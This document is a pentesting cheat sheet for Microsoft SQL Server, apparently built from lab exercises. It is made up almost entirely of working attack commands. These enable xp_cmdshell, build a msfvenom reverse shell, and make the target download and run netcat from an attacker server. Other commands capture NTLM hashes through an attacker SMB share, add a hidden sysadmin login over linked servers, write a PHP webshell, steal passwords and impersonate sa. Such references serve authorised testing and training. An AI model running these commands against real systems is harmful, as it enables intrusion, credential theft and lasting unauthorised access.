# Pentesting MsSql

### Scanning

```
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 intranet.poo
```

## mssqlclient.py

* Use `impacket mssqlclient.py` to connect

```
python mssqlclient.py ARCHETYPE/sql_svc@10.129.62.77 -windows-auth
mssqlclient.py -db POO_PUBLIC external_user:'password123'@10.13.38.11

# Newer impacket naming
impacket-mssqlclient <domain>/<user>:'<pass>'@<ip> -windows-auth
```

### Quick Module Shortcuts (impacket-mssqlclient)

```
# Enable xp_cmdshell in one command
enable_xp_cmdshell
xp_cmdshell whoami
```

* <https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server>
* Check what is the role we have in the server

```
SELECT is_srvrolemember('sysadmin');
```

* If the output is 1 , it translates to True .
* Check to see if `xp_cmdshell` is enabled

```
SQL> EXEC xp_cmdshell 'net user';
```

* Set up the command execution through the `xp_cmdshell`:

```
EXEC xp_cmdshell 'net user'; — privOn MSSQL 2005 you may need to reactivate xp_cmdshell
```

* First as it’s disabled by default:

```
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
sp_configure; - Enabling the sp_configure as stated in the above error message
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
```

* Now we are able to execute system commands:

```
xp_cmdshell "whoami"
```

* Better Command Execution

```
xp_cmdshell "powershell -c pwd"
```

* Get a shell on target with `nc` or `msfvenom`

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.154 LPORT=80 -f exe -o shell.exe
python3 -m http.server
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.14.9/nc64.exe -outfile nc64.exe; ./nc64.exe"
```

* Find the admin password from the shell

```
python /usr/local/bin/psexec.py administrator@10.129.62.77
```

#### mssqliclient modules

* enumerate the db

```
enum_db
```

* enumerate the server links

```
enum_links
```

* enumerate any ability to impersonate a user

```
enum_impersonate
```

* enumerate owners of the database

```
enum_owner
```

* Attempt to download a remote file off the host

```
download \Windows\System32\spool\etc\hosts /tmp/output
```

### MSSQLPWNER

* This is a great automated tool to help enumeration / access for mssql
* <https://github.com/ScorpionesLabs/MSSqlPwner.git>
* To perform automated general enumeration

```
mssqlpwner -db POO_PUBLIC 'external_user:password123@10.13.38.11' enumerate
```

* To go interactive

```
mssqlpwner -db POO_PUBLIC 'external_user:password123@10.13.38.11' interactive
get-chain-list
[*] Chosen linked server: COMPATIBILITY
[*] Chain list:
[*] de75b15b-983b-48f7-baef-7370e2b3e55c - COMPATIBILITY (external_user@POO_PUBLIC/dbo) (external_user dbo@POO_PUBLIC)

set-chain de75b15b-983b-48f7-baef-7370e2b3e55c
[*] Chosen chain: COMPATIBILITY (external_user@POO_PUBLIC/dbo) (ID: de75b15b-983b-48f7-baef-7370e2b3e55c)
```

* attempt command execution

```
exec "cmd.exe /c whoami"
exec -command-execution-method sp_oacreate "cmd /c whomai"
```

* see linked servers

```
get-link-server-list
```

* attempt ntlm relay oppertunities

```
ntlm-relay 10.10.14.55 -relay-method xp_subdirs
ntlm-relay 10.10.14.55 -relay-method xp_fileexist
```

### msdat

* <https://github.com/quentinhardy/msdat.git>
* msdat makes it easy to automate multiple enumeration / priv esc steps into a single command. You may perform all the checks at once, or run a specific check

```
# run a specific module
./msdat.py oleautomation -s 10.13.38.11 -p 1433 -U external_user -P 'password123' -d POO_PUBLIC --get-file 'C:\Windows\System32\drivers\etc\hosts' hosts
# password stealer module
./msdat.py passwordstealer --dump -s 10.13.38.11 -p 1433 -U external_user -P 'password123' -d POO_PUBLIC 
# all checks
./msdat.py all -s 10.13.38.11 -p 1433 -U external_user -P 'password123' -d POO_PUBLIC 
[1.1] Can the current user become sysadmin with trustworthy database method ?
[-] KO
[1.2] You can steal hashed passwords ?
[+] OK
--snip--
```

* check the output carefully and `KO` and `OK` can look very similiar

### Linked Server Exploitation

* <https://www.netspi.com/blog/technical-blog/network-pentesting/how-to-hack-database-links-in-sql-server/>
* check for server links

```
select * from master..sysservers;
srvid   srvstatus   srvname                    srvproduct   providername   datasource                 location   providerstring   schemadate   topologyx   topologyy   catalog   srvcollation   connecttimeout   querytimeout                       srvnetname   isremote   rpc   pub   sub   dist   dpub   rpcout   dataaccess   collationcompatible   system   useremotecollation   lazyschemavalidation   collation   nonsqlsub   
-----   ---------   ------------------------   ----------   ------------   ------------------------   --------   --------------   ----------   ---------   ---------   -------   ------------   --------------   ------------   ------------------------------   --------   ---   ---   ---   ----   ----   ------   ----------   -------------------   ------   ------------------   --------------------   ---------   ---------   
    0        1089   COMPATIBILITY\POO_PUBLIC   SQL Server   SQLOLEDB       COMPATIBILITY\POO_PUBLIC   NULL       NULL             2018-03-17 13:21:26           0           0   NULL      NULL                        0              0   b'COMPATIBILITY\\POO_PUBLIC      '          1     1     0     0      0      0        1            0                     0        0                    1                      0   NULL                0   
    1        1249   COMPATIBILITY\POO_CONFIG   SQL Server   SQLOLEDB       COMPATIBILITY\POO_CONFIG   NULL       NULL             2018-03-17 13:51:08           0           0   NULL      NULL                        0              0   b'COMPATIBILITY\\POO_CONFIG      '          0     1     0     0      0      0        1            1                     0        0                    1                      0   NULL                0

# get version for linked server
select * FROM OPENQUERY([COMPATIBILITY\POO_CONFIG], 'SELECT @@VERSION AS version');

# get database names from linked server
select name FROM [COMPATIBILITY\POO_CONFIG].master.sys.databases;

# get tables from linked server
select * FROM [COMPATIBILITY\POO_CONFIG].[POO_CONFIG].INFORMATION_SCHEMA.TABLES;

# get username from linked server
EXECUTE ('select @@servername;') at [COMPATIBILITY\POO_CONFIG];

# get username from linked server
EXECUTE ('select suser_name();') at [COMPATIBILITY\POO_CONFIG];

# see which users have sysadmin privs on linked server
EXECUTE ('SELECT name FROM master..syslogins WHERE sysadmin = ''1'';') at [COMPATIBILITY\POO_CONFIG];

# enumerate permissions on linked server
EXECUTE ('SELECT entity_name, permission_name FROM fn_my_permissions(NULL, ''SERVER'');') at [COMPATIBILITY\POO_CONFIG];

```

* Sometimes your user might not have sysadmin on the linked server. Additionally the user you are utilizing to run code on the linked server might not have sysadmin permissions on that linked server. However that user on the linked server might have SA permissions on your server. Im going to call this backward linked server

```
EXEC ('EXEC (''xp_cmdshell whoami'') at [COMPATIBILITY\POO_PUBLIC]') at [COMPATIBILITY\POO_CONFIG];
EXEC ('EXEC (''xp_cmdshell ''''tasklist /svc'''' '') at [COMPATIBILITY\POO_PUBLIC]') at [COMPATIBILITY\POO_CONFIG];
EXEC ('EXEC (''xp_cmdshell ''''powershell.exe -ep bypass -command Get-MpComputerStatus'''' '') at [COMPATIBILITY\POO_PUBLIC]') at [COMPATIBILITY\POO_CONFIG];
EXEC ('EXEC (''xp_cmdshell ''''powershell.exe -ep bypass -c invoke-webrequest -Uri http://10.10.14.55:8000/hello.txt'''' '') at [COMPATIBILITY\POO_PUBLIC]') at [COMPATIBILITY\POO_CONFIG];
```

* create new sa user on the server you have access to using this backward link attack

```
EXEC ('EXEC (''USE [master]; CREATE LOGIN [backup_sa] WITH PASSWORD = ''''BackupSA2025'''', CHECK_POLICY = OFF; ALTER SERVER ROLE [sysadmin] ADD MEMBER [backup_sa]; USE [POO_PUBLIC]; CREATE USER [backup_sa] FOR LOGIN [backup_sa];'' ) AT [COMPATIBILITY\POO_PUBLIC]') AT [COMPATIBILITY\POO_CONFIG];
EXEC ('EXEC (''USE [master]; SELECT name, is_disabled, is_policy_checked FROM sys.sql_logins WHERE name = ''''backup_sa'''';'' ) AT [COMPATIBILITY\POO_PUBLIC]') AT [COMPATIBILITY\POO_CONFIG];
```

### MSSQL Raw Commands

```
select @@version;
select user_name();
# get databases
SELECT name FROM master.dbo.sysdatabases;

# use a specific database
use POO_PUBLIC

# get table names 
SELECT * FROM POO_PUBLIC.INFORMATION_SCHEMA.TABLES;
use master
SELECT * FROM master.INFORMATION_SCHEMA.TABLES;

# get the table count from a specific database
SELECT COUNT(*) AS user_table_count FROM sys.tables;


# or you can do it this way
use POO_PUBLIC;
select name from sys.tables;
SELECT name FROM sys.schemas;

# get owner of each database
SELECT suser_sname(owner_sid) FROM sys.databases

# see if your user has sysadmin role
SELECT is_srvrolemember('sysadmin')

# see what users on the service have sysadmin role
USE master; SELECT r.name AS role_name, m.name AS member_name FROM sys.server_role_members rm JOIN sys.server_principals r ON rm.role_principal_id=r.principal_id JOIN sys.server_principals m ON rm.member_principal_id=m.principal_id ORDER BY role_name;

# enumerate if if_trustworthy_on 
# if trustworthy is on 
# https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html?highlight=mssql#mssql-privilege-escalation
SELECT name, is_trustworthy_on FROM sys.databases;
# try to turn trustworthy on 
ALTER DATABASE POO_PUBLIC SET TRUSTWORTHY ON;

# see if you can impersonate
look for impersonation 
USE master; SELECT DISTINCT t.name FROM sys.server_permissions p JOIN sys.server_principals t ON p.major_id = t.principal_id WHERE p.permission_name = 'IMPERSONATE';
USE master; SELECT DISTINCT t.name FROM sys.server_permissions p JOIN sys.server_principals t ON p.major_id = t.principal_id WHERE p.permission_name = 'IMPERSONATE' AND t.name = 'sa';

# see if your user can view metadata
SELECT HAS_PERMS_BY_NAME(DB_NAME(), 'DATABASE', 'VIEW DEFINITION') AS can_view_definition;
can_view_definition   
-------------------   
                  1   
# good check for users and permissions
USE master; SELECT p.permission_name, p.state_desc, gr.name AS grantee, gt.name AS grantor, sdb.name AS target_name FROM sys.server_permissions p LEFT JOIN sys.server_principals gr ON p.grantee_principal_id=gr.principal_id LEFT JOIN sys.server_principals gt ON p.grantor_principal_id=gt.principal_id LEFT JOIN sys.server_principals sdb ON p.major_id=sdb.principal_id WHERE p.class_desc='ENDPOINT' OR p.permission_name IS NOT NULL ORDER BY gr.name;
ENVCHANGE(DATABASE): Old Value: master, New Value: master
INFO(COMPATIBILITY\POO_PUBLIC): Line 1: Changed database context to 'master'.
permission_name     state_desc   grantee         grantor   target_name     
-----------------   ----------   -------------   -------   -------------   
CONNECT SQL         GRANT        external_user   sa        NULL            
VIEW ANY DATABASE   DENY         external_user   sa        NULL            
CONNECT             GRANT        public          sa        public          
CONNECT             GRANT        public          sa        sysadmin        
CONNECT             GRANT        public          sa        securityadmin   
CONNECT             GRANT        public          sa        serveradmin     
VIEW ANY DATABASE   GRANT        public          sa        NULL            
CONNECT SQL         GRANT        sa              sa        NULL 


```

## System Databases

| Database | Description                                                     |
| -------- | --------------------------------------------------------------- |
| master   | Tracks all system info for SQL Server instance                  |
| model    | Template for every new database                                 |
| msdb     | SQL Server Agent scheduling jobs and alerts                     |
| tempdb   | Storage for temporary objects                                   |
| resource | Read-only database with system objects included with SQL Server |

## Default Configuration

* Default service account: `NT SERVICE\MSSQLSERVER`
* Clients may not use encryption
* Self-signed certificates can be spoofed
* Named pipes may be enabled
* Weak or default `sa` credentials are common

## Metasploit MSSQL Ping

```
use auxiliary/scanner/mssql/mssql_ping
set rhosts 10.129.201.248
run
```

## SQL Queries

```sql
select name from sys.databases
```

***

## Additional MSSQL Clients

### sqsh (Linux)

```bash
sqsh -S 10.129.20.13 -U username -P Password123
```

With formatting:

```bash
sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -h
```

Windows Authentication (local account — note the `.\\` prefix):

```bash
sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -h
```

### sqlcmd (Windows)

```
C:\htb> sqlcmd -S 10.129.20.13 -U username -P Password123
```

With output formatting:

```
C:\htb> sqlcmd -S SRVMSSQL -U julio -P 'MyPassword!' -y 30 -Y 30
```

### dbeaver (GUI Client)

```bash
sudo dpkg -i dbeaver-<version>.deb
dbeaver &
```

***

## MySQL vs MSSQL Syntax Comparison

| Operation       | MySQL                  | MSSQL                                                            |
| --------------- | ---------------------- | ---------------------------------------------------------------- |
| Show databases  | `SHOW DATABASES;`      | `SELECT name FROM master.dbo.sysdatabases` `GO`                  |
| Select database | `USE htbusers;`        | `USE htbusers` `GO`                                              |
| Show tables     | `SHOW TABLES;`         | `SELECT table_name FROM htbusers.INFORMATION_SCHEMA.TABLES` `GO` |
| Select all rows | `SELECT * FROM users;` | `SELECT * FROM users` `go`                                       |

***

## Write Local Files (Ole Automation Procedures)

Enable Ole Automation:

```sql
sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
sp_configure 'Ole Automation Procedures', 1
GO
RECONFIGURE
GO
```

Write a webshell:

```sql
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
GO
```

***

## Read Local Files (OPENROWSET)

```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
GO
```

***

## Capture MSSQL Service Hash

Force the MSSQL service to authenticate to an attacker-controlled SMB share to capture its NTLMv2 hash.

Start Responder or impacket-smbserver first to catch the hash:

```bash
sudo responder -I tun0
```

```bash
sudo impacket-smbserver share ./ -smb2support
```

Then trigger the authentication from the MSSQL session:

Using `xp_dirtree`:

```sql
EXEC master..xp_dirtree '\\10.10.110.17\share\'
GO
```

Using `xp_subdirs`:

```sql
EXEC master..xp_subdirs '\\10.10.110.17\share\'
GO
```

***

## MSSQL Impersonation

Identify users that can be impersonated:

```sql
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
GO
```

Verify current user and role:

```sql
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
GO
```

Impersonate `sa`:

```sql
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
GO
```

Revert with `REVERT`.
